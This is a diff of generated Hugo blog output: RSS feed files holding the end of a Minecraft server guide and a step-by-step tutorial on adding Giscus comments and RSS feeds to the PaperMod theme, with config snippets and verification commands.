<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose pull <span style="color:#f92672">&&</span> docker compose up -d
|
||||
</span></span></code></pre></div></li>
|
||||
<li>Watch space:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>watch -n5 <span style="color:#e6db74">'df -h /var; docker system df'</span>
|
||||
</span></span></code></pre></div></li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="tldr">TL;DR</h2>
|
||||
<ul>
|
||||
<li>Put <strong>Geyser/Floodgate</strong> jars in <code>./plugins</code> and expose <strong>19132/udp</strong>.</li>
|
||||
<li>Keep configs in <code>.env</code>.</li>
|
||||
<li>Fix <code>/var</code> space by pruning, <strong>moving Docker’s data-root</strong>, or <strong>extending <code>/var</code></strong> via LVM.</li>
|
||||
<li>Verify version in logs after each change.</li>
|
||||
</ul>
|
||||
<p>Happy block-breaking! 🧱🚀</p>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/posts/minecraft_server.md">Markdown</a> ·
|
||||
<a href="/sources/posts/minecraft_server.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
|
||||
jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
|
||||
Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
|
||||
0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
|
||||
7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
|
||||
JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
|
||||
OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
|
||||
s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
|
||||
g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
|
||||
NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
|
||||
F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
|
||||
sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
|
||||
=NmxL
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
|
||||
gpg --verify minecraft_server.md.asc minecraft_server.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item></channel></rss>
|
||||
2
public-clearnet/categories/homelab/page/1/index.html
Normal file
2
public-clearnet/categories/homelab/page/1/index.html
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
<!doctype html><html lang=en><head><title>https://blog.alipour.eu/categories/homelab/</title>
|
||||
<link rel=canonical href=https://blog.alipour.eu/categories/homelab/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://blog.alipour.eu/categories/homelab/"></head></html>
|
||||
9
public-clearnet/categories/index.html
Normal file
9
public-clearnet/categories/index.html
Normal file
File diff suppressed because one or more lines are too long
1
public-clearnet/categories/index.xml
Normal file
1
public-clearnet/categories/index.xml
Normal file
|
|
@ -0,0 +1 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Categories on AlipourIm journeys</title><link>https://blog.alipour.eu/categories/</link><description>Recent content in Categories on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Fri, 24 Jul 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/categories/index.xml" rel="self" type="application/rss+xml"/><item><title>Guides</title><link>https://blog.alipour.eu/categories/guides/</link><pubDate>Fri, 24 Jul 2026 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/categories/guides/</guid><description/></item><item><title>CTF</title><link>https://blog.alipour.eu/categories/ctf/</link><pubDate>Fri, 05 Jun 2026 12:00:00 +0000</pubDate><guid>https://blog.alipour.eu/categories/ctf/</guid><description/></item><item><title>Security</title><link>https://blog.alipour.eu/categories/security/</link><pubDate>Fri, 05 Jun 2026 12:00:00 +0000</pubDate><guid>https://blog.alipour.eu/categories/security/</guid><description/></item><item><title>Privacy</title><link>https://blog.alipour.eu/categories/privacy/</link><pubDate>Thu, 30 Oct 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/categories/privacy/</guid><description/></item><item><title>Blog</title><link>https://blog.alipour.eu/categories/blog/</link><pubDate>Thu, 23 Oct 2025 19:31:12 +0200</pubDate><guid>https://blog.alipour.eu/categories/blog/</guid><description/></item><item><title>Meta</title><link>https://blog.alipour.eu/categories/meta/</link><pubDate>Thu, 23 Oct 2025 19:31:12 +0200</pubDate><guid>https://blog.alipour.eu/categories/meta/</guid><description/></item><item><title>Stories</title><link>https://blog.alipour.eu/categories/stories/</link><pubDate>Sat, 18 Oct 2025 10:45:00 +0000</pubDate><guid>https://blog.alipour.eu/categories/stories/</guid><description/></item><item><title>Games</title><link>https://blog.alipour.eu/categories/games/</link><pubDate>Mon, 29 Sep 2025 09:06:29 +0000</pubDate><guid>https://blog.alipour.eu/categories/games/</guid><description/></item><item><title>Homelab</title><link>https://blog.alipour.eu/categories/homelab/</link><pubDate>Mon, 29 Sep 2025 09:06:29 +0000</pubDate><guid>https://blog.alipour.eu/categories/homelab/</guid><description/></item><item><title>DevOps</title><link>https://blog.alipour.eu/categories/devops/</link><pubDate>Fri, 19 Sep 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/categories/devops/</guid><description/></item><item><title>Notes</title><link>https://blog.alipour.eu/categories/notes/</link><pubDate>Fri, 19 Sep 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/categories/notes/</guid><description/></item></channel></rss>
|
||||
15
public-clearnet/categories/meta/index.html
Normal file
15
public-clearnet/categories/meta/index.html
Normal file
File diff suppressed because one or more lines are too long
621
public-clearnet/categories/meta/index.xml
Normal file
621
public-clearnet/categories/meta/index.xml
Normal file
|
|
@ -0,0 +1,621 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Meta on AlipourIm journeys</title><link>https://blog.alipour.eu/categories/meta/</link><description>Recent content in Meta on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Thu, 23 Oct 2025 19:31:12 +0200</lastBuildDate><atom:link href="https://blog.alipour.eu/categories/meta/index.xml" rel="self" type="application/rss+xml"/><item><title>New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)</title><link>https://blog.alipour.eu/posts/comments-rss-papermod/</link><pubDate>Thu, 23 Oct 2025 19:31:12 +0200</pubDate><guid>https://blog.alipour.eu/posts/comments-rss-papermod/</guid><description>A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod.</description><content:encoded><![CDATA[<blockquote>
|
||||
<p>Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.<br>
|
||||
Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.</p></blockquote>
|
||||
<hr>
|
||||
<p>I’ve been wanting to add comment section to my blog for a while.
|
||||
There are a few problems.</p>
|
||||
<ul>
|
||||
<li>I don’t want to get attacked by bots or random people for no reason.</li>
|
||||
<li>I don’t want to allow weird things to happen.</li>
|
||||
<li>I don’t want to have a database for it.</li>
|
||||
</ul>
|
||||
<p>So… I decided to take a path which is not necesserially the best.
|
||||
It requires a third party to act on your behalf, but it is not as scary as it sounds.
|
||||
According to Github:</p>
|
||||
<blockquote>
|
||||
<p><strong>What the app can do</strong>
|
||||
The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.</p></blockquote>
|
||||
<blockquote>
|
||||
<p><strong>What “Act on your behalf” means</strong>
|
||||
That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.</p></blockquote>
|
||||
<blockquote>
|
||||
<p><strong>Do commenters have alternatives?</strong>
|
||||
Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.</p></blockquote>
|
||||
<blockquote>
|
||||
<p><strong>Privacy & storage</strong>
|
||||
No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.</p></blockquote>
|
||||
<p>With the notice out of the way let’s dive right in!</p>
|
||||
<hr>
|
||||
<h2 id="why-i-chose-giscus-instead-of-disqus">Why I chose Giscus (instead of Disqus)</h2>
|
||||
<ul>
|
||||
<li><strong>No ads or trackers</strong> (my page weight thanks me).</li>
|
||||
<li><strong>Uses GitHub Discussions</strong> (portable, transparent, easy to search).</li>
|
||||
<li><strong>Readers log in with GitHub</strong> (no mystery auth popups).</li>
|
||||
<li>In theory you can directly go to the repo’s discussion section and comment there!</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="what-you-need-for-your-site-not-per-user">What you need (for your site, not per user)</h2>
|
||||
<ul>
|
||||
<li>A Hugo site using <strong>PaperMod</strong> ✅</li>
|
||||
<li>A GitHub account ✅</li>
|
||||
<li>A <strong>public</strong> repository for the discussion threads (I called mine <code>blog-comments</code>) with <strong>Discussions</strong> enabled ✅</li>
|
||||
<li>Giscus app installed on that repo ✅</li>
|
||||
</ul>
|
||||
<p>If you like to keep your main site repo clean, use a separate one, e.g. <code>github-username/blog-comments</code>.</p>
|
||||
<hr>
|
||||
<h2 id="1-turn-on-comments-with-giscus">1) Turn on comments with Giscus</h2>
|
||||
<p>PaperMod renders a <code>comments.html</code> partial when <code>params.comments = true</code>.<br>
|
||||
So we enable it in config and create the partial.</p>
|
||||
<h3 id="11-enable-comments-globally">1.1 Enable comments globally</h3>
|
||||
<p><code>hugo.toml</code> (snippet)</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">comments</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span></code></pre></div><p>You can still opt out per post with <code>comments = false</code> in front matter.</p>
|
||||
<h3 id="12-create-the-comments-partial">1.2 Create the comments partial</h3>
|
||||
<p>Create this file <strong>in your site</strong> (not inside the theme):</p>
|
||||
<pre tabindex="0"><code>layouts/partials/comments.html
|
||||
</code></pre><p>Paste the Giscus embed (swap the placeholders with yours from giscus.app):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#f92672">section</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"comments"</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"giscus"</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">script</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">"https://giscus.app/client.js"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-repo</span><span style="color:#f92672">=</span><span style="color:#e6db74">"yourname/blog-comments"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-repo-id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"YOUR_REPO_ID"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-category</span><span style="color:#f92672">=</span><span style="color:#e6db74">"Comments"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-category-id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"YOUR_CATEGORY_ID"</span> <span style="color:#960050;background-color:#1e0010"><!</span><span style="color:#a6e22e">--</span> <span style="color:#a6e22e">Get</span> <span style="color:#a6e22e">them</span> <span style="color:#a6e22e">from</span> <span style="color:#a6e22e">Giscus</span><span style="color:#960050;background-color:#1e0010">'</span><span style="color:#a6e22e">s</span> <span style="color:#a6e22e">page</span><span style="color:#960050;background-color:#1e0010">!</span> <span style="color:#a6e22e">--</span>>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">mapping</span><span style="color:#f92672">=</span><span style="color:#e6db74">"pathname"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">strict</span><span style="color:#f92672">=</span><span style="color:#e6db74">"0"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">reactions</span><span style="color:#f92672">-</span><span style="color:#a6e22e">enabled</span><span style="color:#f92672">=</span><span style="color:#e6db74">"1"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">emit</span><span style="color:#f92672">-</span><span style="color:#a6e22e">metadata</span><span style="color:#f92672">=</span><span style="color:#e6db74">"0"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">input</span><span style="color:#f92672">-</span><span style="color:#a6e22e">position</span><span style="color:#f92672">=</span><span style="color:#e6db74">"bottom"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">theme</span><span style="color:#f92672">=</span><span style="color:#e6db74">"preferred_color_scheme"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">"en"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">loading</span><span style="color:#f92672">=</span><span style="color:#e6db74">"lazy"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">crossorigin</span><span style="color:#f92672">=</span><span style="color:#e6db74">"anonymous"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">async</span><span style="color:#f92672">></span>
|
||||
</span></span><span style="display:flex;"><span> </<span style="color:#f92672">script</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">noscript</span>>Enable JavaScript to view comments powered by Giscus.</<span style="color:#f92672">noscript</span>>
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">section</span>>
|
||||
</span></span></code></pre></div><p><strong>Notes</strong></p>
|
||||
<ul>
|
||||
<li>You’ll get <code>repo-id</code> and <code>category-id</code> from <strong>giscus.app</strong> after picking your repo + category.</li>
|
||||
<li><code>data-mapping="pathname"</code> works great for static sites.</li>
|
||||
<li>Prefer a <strong>public</strong> repo so visitors can read discussions without friction.</li>
|
||||
<li>Want a different language? Change <code>data-lang</code> (e.g., <code>de</code>, <code>fr</code>).</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="2-enable-rss-home--sections">2) Enable RSS (home + sections)</h2>
|
||||
<p>Hugo already knows how to generate feeds; we just tell it where.</p>
|
||||
<p><code>hugo.toml</code></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">"https://example.com/"</span> <span style="color:#75715e"># set your production URL</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">outputs</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">home</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>, <span style="color:#e6db74">"JSON"</span>] <span style="color:#75715e"># JSON is optional (e.g., for on-site search)</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">section</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">taxonomy</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">term</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>]
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">services</span>.<span style="color:#a6e22e">rss</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">limit</span> = <span style="color:#ae81ff">-1</span> <span style="color:#75715e"># -1 = no cap; or set e.g. 20</span>
|
||||
</span></span></code></pre></div><p><strong>Feed URLs</strong></p>
|
||||
<ul>
|
||||
<li>Home feed: <code>/index.xml</code> → <code>https://example.com/index.xml</code></li>
|
||||
<li>Section feeds: <code>/posts/index.xml</code>, <code>/notes/index.xml</code>, etc. (folders are lowercase)</li>
|
||||
</ul>
|
||||
<blockquote>
|
||||
<p>If you’re using a <code>.onion</code> address or staging domain, just set that in <code>baseURL</code>.<br>
|
||||
Locally, Hugo serves feeds at <code>http://localhost:1313/index.xml</code>.</p></blockquote>
|
||||
<hr>
|
||||
<h2 id="3-show-an-rss-button-on-the-home-page">3) Show an RSS button on the home page</h2>
|
||||
<p>PaperMod shows a nice RSS icon on <strong>section/taxonomy</strong> lists by default (when enabled), but not on the home page. Two options:</p>
|
||||
<h3 id="option-a--use-the-home-social-icons-row">Option A — Use the home “social icons” row</h3>
|
||||
<p>This appears if you enable <strong>Home-Info</strong> or <strong>Profile</strong> mode:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>.<span style="color:#a6e22e">homeInfoParams</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">Title</span> = <span style="color:#e6db74">"Hello, internet!"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">Content</span> = <span style="color:#e6db74">"Notes, experiments, and occasional rabbit holes."</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[[<span style="color:#a6e22e">params</span>.<span style="color:#a6e22e">socialIcons</span>]]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">name</span> = <span style="color:#e6db74">"rss"</span> <span style="color:#75715e"># lowercase matters</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">url</span> = <span style="color:#e6db74">"/index.xml"</span>
|
||||
</span></span></code></pre></div><h3 id="option-b--add-an-icon-in-the-footer-theme-safe">Option B — Add an icon in the footer (theme-safe)</h3>
|
||||
<p>Create:</p>
|
||||
<pre tabindex="0"><code>layouts/partials/extend_footer.html
|
||||
</code></pre><p>Paste:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">"/index.xml"</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">"alternate"</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"application/rss+xml"</span> <span style="color:#a6e22e">title</span><span style="color:#f92672">=</span><span style="color:#e6db74">"RSS"</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"rss-link"</span>>
|
||||
</span></span><span style="display:flex;"><span> {{ partial "svg.html" (dict "name" "rss") }}
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">span</span>>RSS</<span style="color:#f92672">span</span>>
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">a</span>>
|
||||
</span></span></code></pre></div><p>Make it a sensible size:</p>
|
||||
<p>Create:</p>
|
||||
<pre tabindex="0"><code>assets/css/extended/rss.css
|
||||
</code></pre><p>Paste:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-css" data-lang="css"><span style="display:flex;"><span><span style="color:#75715e">/* Small & aligned RSS icon in the footer */</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">rss-link</span> { <span style="color:#66d9ef">display</span>: <span style="color:#66d9ef">inline-flex</span>; <span style="color:#66d9ef">align-items</span>: <span style="color:#66d9ef">center</span>; <span style="color:#66d9ef">gap</span>: <span style="color:#ae81ff">.35</span><span style="color:#66d9ef">rem</span>; }
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">rss-link</span> <span style="color:#f92672">svg</span> { <span style="color:#66d9ef">margin-left</span>: <span style="color:#ae81ff">10</span><span style="color:#66d9ef">px</span>; <span style="color:#66d9ef">width</span>: <span style="color:#ae81ff">18</span><span style="color:#66d9ef">px</span>; <span style="color:#66d9ef">height</span>: <span style="color:#ae81ff">18</span><span style="color:#66d9ef">px</span>; } <span style="color:#75715e">/* a bit of left margin for good measure!*/</span>
|
||||
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">rss-link</span> <span style="color:#f92672">span</span> { <span style="color:#66d9ef">font-size</span>: <span style="color:#ae81ff">.95</span><span style="color:#66d9ef">rem</span>; }
|
||||
</span></span></code></pre></div><p>PaperMod auto-bundles anything under <code>assets/css/extended/</code>, so no extra imports needed.</p>
|
||||
<hr>
|
||||
<h2 id="4-verify-everything">4) Verify everything</h2>
|
||||
<p>Build or run dev:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hugo <span style="color:#75715e"># outputs to ./public</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># or</span>
|
||||
</span></span><span style="display:flex;"><span>hugo server <span style="color:#75715e"># serves at http://localhost:1313</span>
|
||||
</span></span></code></pre></div><p>Check feeds:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Home feed:</span>
|
||||
</span></span><span style="display:flex;"><span>curl -s http://localhost:1313/index.xml | head
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># A section feed (adjust path to your section name):</span>
|
||||
</span></span><span style="display:flex;"><span>curl -s http://localhost:1313/posts/index.xml | head
|
||||
</span></span></code></pre></div><p>Check comments:</p>
|
||||
<ol>
|
||||
<li>Open any post locally.</li>
|
||||
<li>Scroll to the bottom — Giscus should appear.</li>
|
||||
<li>Try a reaction or comment (you’ll be prompted to sign in with GitHub).</li>
|
||||
</ol>
|
||||
<hr>
|
||||
<h2 id="5-per-post-controls-handy-later">5) Per-post controls (handy later)</h2>
|
||||
<p>Turn comments off for a single post:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#75715e"># in that post’s front matter</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">comments</span> = <span style="color:#66d9ef">false</span>
|
||||
</span></span></code></pre></div><p>Full content in RSS (global):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ShowFullTextinRSS</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span></code></pre></div><p>Show RSS buttons on section/taxonomy lists:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ShowRssButtonInSectionTermList</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="6-troubleshooting-aka-what-i-bumped-into">6) Troubleshooting (aka “what I bumped into”)</h2>
|
||||
<ul>
|
||||
<li>
|
||||
<p><strong>Home page has no RSS icon</strong><br>
|
||||
That’s expected; either enable Home-Info/Profile mode + <code>socialIcons</code>, or use the footer partial.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p><strong>Section feed 404</strong><br>
|
||||
Folder names are lowercase (<code>content/posts/</code>, not <code>content/Posts/</code>).<br>
|
||||
The URL mirrors that: <code>/posts/index.xml</code>.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p><strong>Giscus doesn’t create a discussion</strong><br>
|
||||
Double-check the four attributes: <code>data-repo</code>, <code>data-repo-id</code>, <code>data-category</code>, <code>data-category-id</code>.<br>
|
||||
Make sure Discussions is enabled and the Giscus app is installed for the repo.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p><strong>Icon is comically large</strong><br>
|
||||
Keep the CSS above; 16–20px usually looks right.</p>
|
||||
</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="7-bonus-fast-setup-via-github-cli-optional-i-didnt-use-it-but-i-shouldve-perhaps">7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Create the public comments repo (adjust names)</span>
|
||||
</span></span><span style="display:flex;"><span>gh repo create yourname/blog-comments --public -d <span style="color:#e6db74">"Blog comment threads"</span> --confirm
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Enable Discussions for it</span>
|
||||
</span></span><span style="display:flex;"><span>gh repo edit yourname/blog-comments --enable-discussions
|
||||
</span></span></code></pre></div><p>Then visit <strong>giscus.app</strong>, select the repo + category (e.g. “Comments”), and copy the generated IDs into <code>layouts/partials/comments.html</code>.</p>
|
||||
<hr>
|
||||
<h3 id="final-config-snapshot-condensed">Final config snapshot (condensed)</h3>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">"https://example.com/"</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">theme</span> = <span style="color:#e6db74">"PaperMod"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">outputs</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">home</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>, <span style="color:#e6db74">"JSON"</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">section</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">taxonomy</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>]
|
||||
